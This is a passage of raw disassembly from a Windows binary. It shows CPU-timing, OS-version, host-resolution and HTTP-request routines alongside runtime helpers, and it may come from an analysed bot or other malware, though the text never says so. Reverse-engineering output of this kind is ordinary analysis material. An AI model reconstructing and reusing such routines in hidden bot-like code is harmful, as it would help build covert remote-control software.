ptr 26E0000h nop test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2670F10h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D158 mov [ebp+var_CC], 94h nop call near ptr 26E0000h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_4312AC loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_4312A8 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_4312A4 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_4312A0 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43129C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431298 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431290 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437864 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE84 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFE4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF5C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2670A87h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A13C push ebx mov esi, 409h push ebx push esi nop call near ptr 2750000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2740000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2860000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A060 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB08C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE68 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A1C4 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A1BC jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A1B8 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A1B4 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A170 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A2A4 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAEA0 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF54 call dword_4CAF78 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF6C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAF18 test eax, eax jz short loc_41AF48 push offset dword_43A288 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A24C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A230 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A204 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1D4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFD8 push [ebp+var_4] call dword_4CAFD8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A63h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC948 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC944 nop call near ptr 27C0000h loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC948 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC940 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC944 nop call near ptr 27D0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2870000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB32C, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C324 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC944 call near ptr 27D0000h nop mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2870000h mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB32C, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2870000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB32C, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: 